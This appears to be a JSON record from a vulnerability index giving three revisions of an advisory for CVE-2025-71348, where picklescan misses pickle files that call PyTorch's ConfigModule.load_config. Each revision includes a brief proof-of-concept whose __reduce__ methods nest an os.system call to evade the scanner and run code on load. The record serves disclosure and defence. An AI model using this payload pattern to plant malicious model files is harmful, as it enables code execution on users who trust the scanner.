{"items":[{"id":"NVI-00014030","kind":"vulnerability","title":"Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-vv6j-3g6g-2pvj","CVE-2025-71348"],"plain_summary":"GitHub lists this reviewed advisory for picklescan. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-018a0d7fdc36d06b781e382f6057c56e"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-11T19:36:48.000Z","value":"8.1 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-34a37a7906b0860571580aa71b19cb95"},{"kind":"CVSS","as_of":"2026-10-12T22:10:00.247Z","value":"8.1 HIGH (3.1)","meaning":"disclosure@vulncheck.com severity; no combined Null risk score.","source_id":"sr-13670cc20cdc84a1fc40a4178b8d64c0"},{"kind":"CVSS","as_of":"2026-10-12T22:10:00.247Z","value":"7.8 HIGH (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-13670cc20cdc84a1fc40a4178b8d64c0"},{"kind":"CVSS","as_of":"2026-10-12T22:10:00.247Z","value":"7.6 HIGH (4.0)","meaning":"disclosure@vulncheck.com severity; no combined Null risk score.","source_id":"sr-13670cc20cdc84a1fc40a4178b8d64c0"},{"kind":"EPSS","as_of":"2026-11-02T12:00:30.000Z","value":"0.554%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.46238. Missing scores are unknown.","source_id":"sr-018a0d7fdc36d06b781e382f6057c56e"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-34a37a7906b0860571580aa71b19cb95","url":"https://github.com/advisories/GHSA-vv6j-3g6g-2pvj","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-vv6j-3g6g-2pvj","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T22:54:05.264Z"},{"id":"sr-13670cc20cdc84a1fc40a4178b8d64c0","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71348","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2025-71348","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-06T15:14:24.735Z"},{"id":"sr-018a0d7fdc36d06b781e382f6057c56e","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2025-71348","publisher":"FIRST EPSS","observed_at":"2026-11-02T20:15:58.837Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-34a37a7906b0860571580aa71b19cb95"],"technology":"picklescan","known_exclusions":[],"conditions_summary":"### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, ('whoami',))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain A","public_affected_ranges":["<= 0.0.27"]}],"null_published_at":"2026-11-07T18:43:12.067Z","source_updated_at":"2026-09-11T19:36:48.000Z","source_disclosed_at":"2025-08-22T16:58:14.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-11-01T22:54:05.264Z"},{"id":"NVI-00014030","kind":"vulnerability","title":"Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-vv6j-3g6g-2pvj","CVE-2025-71348"],"plain_summary":"GitHub lists this reviewed advisory for picklescan. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-018a0d7fdc36d06b781e382f6057c56e"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-11T19:36:48.000Z","value":"8.1 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-34a37a7906b0860571580aa71b19cb95"},{"kind":"EPSS","as_of":"2026-11-02T12:00:30.000Z","value":"0.554%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.46238. Missing scores are unknown.","source_id":"sr-018a0d7fdc36d06b781e382f6057c56e"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-34a37a7906b0860571580aa71b19cb95","url":"https://github.com/advisories/GHSA-vv6j-3g6g-2pvj","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-vv6j-3g6g-2pvj","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T22:54:05.264Z"},{"id":"sr-018a0d7fdc36d06b781e382f6057c56e","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2025-71348","publisher":"FIRST EPSS","observed_at":"2026-11-02T20:15:58.837Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-34a37a7906b0860571580aa71b19cb95"],"technology":"picklescan","known_exclusions":[],"conditions_summary":"### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, ('whoami',))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain A","public_affected_ranges":["<= 0.0.27"]}],"null_published_at":"2026-11-03T17:49:14.975Z","source_updated_at":"2026-09-11T19:36:48.000Z","source_disclosed_at":"2025-08-22T16:58:14.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-11-01T22:54:05.264Z"},{"id":"NVI-00014030","kind":"vulnerability","title":"Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-vv6j-3g6g-2pvj","CVE-2025-71348"],"plain_summary":"GitHub lists this reviewed advisory for picklescan. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-34a37a7906b0860571580aa71b19cb95"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-11T19:36:48.000Z","value":"8.1 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-34a37a7906b0860571580aa71b19cb95"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-34a37a7906b0860571580aa71b19cb95","url":"https://github.com/advisories/GHSA-vv6j-3g6g-2pvj","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-vv6j-3g6g-2pvj","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T22:54:05.264Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-34a37a7906b0860571580aa71b19cb95"],"technology":"picklescan","known_exclusions":[],"conditions_summary":"### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, ('whoami',))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain A","public_affected_ranges":["<= 0.0.27"]}],"null_published_at":"2026-11-02T10:00:37.198Z","source_updated_at":"2026-09-11T19:36:48.000Z","source_disclosed_at":"2025-08-22T16:58:14.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-01T22:54:05.264Z"}],"next_cursor":null,"snapshot_revision":"42594"}